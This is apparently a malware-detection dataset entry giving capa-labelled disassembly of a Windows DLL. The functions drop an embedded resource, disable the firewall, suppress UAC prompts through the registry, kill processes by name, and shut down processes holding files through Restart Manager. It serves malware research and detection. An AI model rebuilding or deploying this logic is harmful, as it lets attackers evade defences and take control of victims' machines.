joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180004cd0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov rsi, r8
mov rdi, rcx
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], r8
mov r8, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x180004d0e
mov r8, qword [rcx]
movzx edx, dx
mov rcx, qword [0x180043980]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
mov rdx, rax
mov rcx, qword [0x180043980]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
mov rdx, rbx
mov rcx, qword [0x180043980]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x40]
call fcn.18000fd80
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x180004d6f
mov rdx, qword [rsi]
lea rcx, [rsp + 0x40]
call fcn.18000a078
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x40], rax
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3c], edx
cmp qword [rbp - 0x38], 0
je 0x180004e1c
mov r8, r14
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.18000a374
cmp qword [rbp - 0x38], 0
je 0x180004de3
lea r14, [rsp + 0x48]
lea rcx, [rsp + 0x48]
call fcn.18000ab90
neg al
sbb rbx, rbx
and rbx, r14
mov rcx, qword [rbp - 0x38]
call fcn.18001455c
test eax, eax
je 0x180004de5
xor ebx, ebx
mov r14d, 2
mov r8d, r14d
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.18000ac58
test rbx, rbx
jne 0x180004e1c
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
mov edx, r14d
call fcn.18000ad4c
nop
lea rcx, [rbp - 0x18]
call fcn.180009ff8
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x18]
call fcn.18000cb2c
nop
mov rdx, qword [rdi + 0x18]
mov r14d, 0x1000
cmp rdx, 0x10
jb 0x180004e73
mov rcx, qword [rdi]
inc rdx
cmp rdx, r14
jb 0x180004e6e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180004edc
mov rcx, r8
call fcn.18000d760
and qword [rdi + 0x10], 0
mov ebx, 0xf
mov qword [rdi + 0x18], rbx
mov byte [rdi], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x180004eb6
inc rdx
mov rcx, qword [rsi]
cmp rdx, r14
jb 0x180004eb1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180004ee2
mov rcx, r8
call fcn.18000d760
and qword [rsi + 0x10], 0
mov qword [rsi + 0x18], rbx
mov byte [rsi], 0
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.18000d740
add rsp, 0x160
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800163dc
nop
call fcn.1800163dc
int3
Function at 0x180004f28
Capabilities:
Access firewall policy via inetfwpolicy2

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
xor ebx, ebx
test eax, eax
js 0x180004fb9
lea rax, [rsp + 0x30]
mov qword [rsp + 0x30], rbx
lea r9, [0x18003bbb0]
mov qword [rsp + 0x20], rax
xor edx, edx
lea r8d, [rbx + 1]
lea rcx, [0x18003bd08]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x180004fb3
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
lea edx, [rbx + 4]
mov rax, qword [rcx]
call qword [rax + 0x40]
cmp word [rsp + 0x38], bx
je 0x180004fa8
mov rcx, qword [rsp + 0x30]
lea edx, [rbx + 4]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.18000d740
add rsp, 0x50
pop rbx
ret

Function at 0x180004fcc
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
sub rsp, 0x78
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rsp + 0x60], rax
and qword [r11 - 0x38], 0
lea rax, [r11 - 0x28]
mov qword [r11 - 0x40], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
and qword [r11 - 0x48], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
and dword [rsp + 0x20], 0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
and dword [rsp + 0x58], 0
lea rax, [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
lea rdx, str.ConsentPromptBehaviorAdmin
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.18000d740
add rsp, 0x78
ret
Function at 0x18000505c
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor r14d, r14d
mov dword [rsp + 0x20], r14d
mov esi, r14d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800050f4
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800050eb
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x38], eax
je 0x1800050e7
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x1800050c7
mov esi, dword [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], r14
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov dword [rsp + 0x20], 1
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180005169
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180005160
cmp dword [rsp + 0x38], esi
je 0x180005153
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x180005139
lea rdx, [rsp + 0x5c]
mov rcx, rbx
call fcn.18000ae54
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbx
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.18000d740
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x180005194
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x234
xor ebx, ebx
call fcn.18000fd80
xor edx, edx
mov dword [rsp + 0x20], 0x238
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x180005212
lea rdx, str.newwps.exe
lea rcx, [rsp + 0x4c]
call fcn.180014014
test eax, eax
jne 0x180005204
inc ebx
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800051ed
mov eax, ebx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.18000d740
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret
Function at 0x18000523c
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x234
xor ebx, ebx
call fcn.18000fd80
xor edx, edx
mov dword [rsp + 0x20], 0x238
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800052c4
mov rdx, rsi
lea rcx, [rsp + 0x4c]
call fcn.180014014
test eax, eax
je 0x1800052c0
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x18000529b
mov ebx, dword [rsp + 0x28]
mov eax, ebx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.18000d740
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x1800052ec
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x160
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbx, rcx
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x40]
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xor ecx, ecx
mov qword [rbx + 0x18], 0xf
mov qword [rbx], rcx
lea rdx, [rsp + 0x40]
mov qword [rbx + 0x10], rcx
mov byte [rbx], cl
mov rcx, rbx
test eax, eax
jns 0x18000534f
lea rdx, [0x18003b55b]
call fcn.18000b084
mov rax, rbx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.18000d740
add rsp, 0x160
pop rbx
ret

Function at 0x180005eb8
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x180005eff
xor al, al
jmp 0x180005f83
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x180005f78
mov bpl, bl
jmp 0x180005f31
mov rdx, rsi
lea rcx, [rsp + 0x4c]
call fcn.180014014
test eax, eax
je 0x180005f45
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180005f20
jmp 0x180005f75
mov r8d, dword [rsp + 0x28]
mov ebp, 1
mov ecx, ebp
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x180005f75
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, bpl
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.18000d740
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180005fac
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x200
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rsp + 0x1f0], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call fcn.18000fd80
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0xac], 1
jb 0x180005ffa
mov rdx, qword [rbx]
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x180006081
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x18000607c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800060aa
mov rcx, r8
call fcn.18000d760
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.18000d740
add rsp, 0x200
pop rbx
ret
call fcn.1800163dc
int3

Function at 0x1800060b0
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x200
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rsp + 0x1f0], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x68]
call fcn.18000fd80
cmp qword [rbx + 0x18], 0x10
mov eax, 3
mov word [rsp + 0x90], ax
mov rdx, rbx
mov dword [rsp + 0x50], 0x68
mov dword [rsp + 0x8c], 1
jb 0x18000610b
mov rdx, qword [rbx]
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rax, [rsp + 0xc0]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x180006195
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180006190
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800061be
mov rcx, r8
call fcn.18000d760
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.18000d740
add rsp, 0x200
pop rbx
ret
call fcn.1800163dc
int3
Function at 0x1800061c4
Capabilities:
Create restart manager session
Enumerate processes that use resource

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r13
push r14
lea rbp, [rax - 0x28]
sub rsp, 0x110
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rbp], rax
mov rbx, rcx
mov qword [rbp - 0x78], rcx
or dword [rbp - 0x70], 0xffffffff
and qword [rsp + 0x40], 0
and qword [rsp + 0x50], 0
and qword [rsp + 0x58], 0
mov rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.18000b174
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.180001ea4
mov rdi, rax
mov eax, dword [rax + 0x10]
inc eax
movsxd r14, eax
mov eax, 2
mul r14
mov r13, 0xffffffffffffffff
cmovo rax, r13
mov rcx, rax
call fcn.18000ddc0
mov rsi, rax
cmp qword [rdi + 0x18], 8
jb 0x18000625d
mov rdi, qword [rdi]
mov r8, rdi
mov rdx, r14
mov rcx, rsi
call fcn.180014bcc
mov qword [rbp - 0x60], rsi
lea rcx, [rsp + 0x60]
call fcn.18000adf0
and dword [rbp - 0x80], 0
and dword [rbp - 0x6c], 0
or dword [rbp - 0x68], 0xffffffff
lea r8, [rbp - 0x50]
xor edx, edx
lea rcx, [rbp - 0x70]
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x18000635d
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], eax
and qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp - 0x60]
lea edx, [rax + 1]
mov ecx, dword [rbp - 0x70]
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x180006353
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rbp - 0x6c]
lea rdx, [rbp - 0x80]
mov ecx, dword [rbp - 0x70]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
cmp eax, 0xea
jne 0x180006353
mov ecx, dword [rbp - 0x80]
inc ecx
mov eax, 0x29c
mul rcx
cmovo rax, r13
mov rcx, rax
call fcn.18000ddc0
mov rdi, rax
mov ecx, dword [rbp - 0x80]
mov dword [rbp - 0x6c], ecx
xor edx, edx
lea r8d, [rdx + 8]
mov rcx, rax
call fcn.18000fd80
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9, rdi
lea r8, [rbp - 0x6c]
lea rdx, [rbp - 0x80]
mov ecx, dword [rbp - 0x70]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
jne 0x18000634b
xor r8d, r8d
xor edx, edx
mov ecx, dword [rbp - 0x70]
call qword [sym.imp.RstrtMgr.DLL_RmShutdown]
mov rcx, rdi
call fcn.180015584
mov ecx, dword [rbp - 0x70]
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x180006393
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18000638e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800063cc
mov rcx, r8
call fcn.18000d760
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.18000d740
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop rbp
ret
call fcn.1800163dc
int3
Function at 0x1800063d4
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
and dword [rsp + 0x20], 0
and qword [rcx], 0
and qword [rcx + 0x10], 0
mov qword [rcx + 0x18], 0xf
mov byte [rcx], 0
lea rdx, [0x18003b55b]
call fcn.18000b084
mov dword [rsp + 0x20], 1
xor edx, edx
mov r8d, 0x234
lea rcx, [rsp + 0x54]
call fcn.18000fd80
mov dword [rsp + 0x50], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180006542
mov rdx, rsi
lea rcx, [rsp + 0x7c]
call fcn.180014014
test eax, eax
je 0x180006493
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x18000646a
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov r9d, 0x104
lea r8, [rbp + 0x190]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rsp + 0x28], 0
and qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0xf
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x28]
call fcn.18000b084
lea rax, [rsp + 0x28]
cmp rdi, rax
je 0x180006509
xor r8d, r8d
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.18000b218
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x180006542
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000653d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006567
call fcn.18000d760
mov rax, rdi
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.18000d740
mov rbx, qword [rsp + 0x3e0]
add rsp, 0x3b0
pop rdi
pop rsi
pop rbp
ret
call fcn.1800163dc
int3
Function at 0x180009678
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x18000969d
xor eax, eax
jmp 0x18000979a
cmp qword [rcx + 0x68], 0
je 0x1800096ae
call fcn.180009e90
jmp 0x18000979a
mov rax, qword [rcx + 0x38]
mov rbp, rdi
mov rdx, qword [rax]
test rdx, rdx
je 0x1800096c5
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1800096c7
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1800096fc
cmp rax, rdi
mov rbx, rdi
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.18000f550
mov rax, qword [rsi + 0x50]
sub rbp, rbx
add r14, rbx
mov r8, rbp
sub dword [rax], ebx
mov rcx, qword [rsi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x180009794
mov r9, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r9], rax
jne 0x180009737
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov r15d, 0xfff
mov rbx, r8
cmp r8, r15
jbe 0x18000976f
mov r9, qword [rsi + 0x80]
mov r8, r15
mov edx, 1
mov rcx, r14
call fcn.180015ec8
sub rbp, rax
add r14, rax
mov rbx, rbp
cmp rax, r15
jne 0x1800097ab
cmp rbp, r15
ja 0x180009745
mov r8, rbx
test rbx, rbx
je 0x180009794
mov r9, qword [rsi + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, r14
call fcn.180015ec8
mov r8, rbx
sub r8, rax
sub rdi, r8
mov rax, rdi
mov rbx, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
sub rdi, rbp
jmp 0x180009797
Function at 0x180009b40
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rbp - 8], rax
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x180009b79
xor eax, eax
jmp 0x180009c9b
mov rax, qword [rcx + 0x40]
cmp qword [rax], 0
je 0x180009bb3
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
mov rcx, r8
add rcx, qword [rax]
cmp qword [rax], rcx
jae 0x180009bb3
lea ecx, [r8 - 1]
mov eax, esi
mov dword [rdx], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], sil
jmp 0x180009c9b
cmp qword [rbx + 0x80], 0
je 0x180009c99
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180009bee
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180009c11
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call fcn.180013dbc
cmp eax, edi
cmovne edi, esi
jmp 0x180009c99
lea r8, [rbp - 0x40]
mov byte [rbp - 0x30], sil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp - 0x2f]
lea r8, [rbp - 8]
mov qword [rsp + 0x30], r8
lea r8, [rbp - 0x28]
mov qword [rsp + 0x28], r8
lea r8, [rbp - 0x38]
mov qword [rsp + 0x20], r8
lea r8, [rbp - 0x30]
call qword [rax + 0x38]
test eax, eax
je 0x180009c5f
sub eax, 1
je 0x180009c5f
cmp eax, 2
jne 0x180009c99
movsx ecx, byte [rbp - 0x30]
jmp 0x180009bfb
mov r14, qword [rbp - 0x40]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x180009c89
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call fcn.180015238
cmp r14, rax
jne 0x180009c99
lea rax, [rbp - 0x30]
mov byte [rbx + 0x71], 1
cmp qword [rbp - 0x38], rax
mov eax, esi
jne 0x180009c9b
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.18000d740
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x18000ab90
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x18000abff
cmp byte [rcx + 0x71], 0
je 0x18000abff
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x18000ac53
mov rcx, qword [rbx + 0x68]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], r8
lea rdx, [rbx + 0x74]
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
mov rax, qword [rcx]
call qword [rax + 0x40]
test eax, eax
je 0x18000ac19
sub eax, 1
je 0x18000ac1d
cmp eax, 2
jne 0x18000ac53
mov byte [rbx + 0x71], 0
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18000d740
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x18000ac4a
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call fcn.180015238
cmp rdi, rax
jne 0x18000ac53
cmp byte [rbx + 0x71], 0
sete al
jmp 0x18000ac01
xor al, al
jmp 0x18000ac01

Function at 0x180013db0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x180013c87
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180013c87
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180013c87
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180013c87
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180013c87
cmp dword [rcx + 0x84], 0xe
jbe 0x180013c87
cmp dword [rcx + 0xf8], 0
je 0x180013c87
mov ecx, ebx
call fcn.180013d28
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
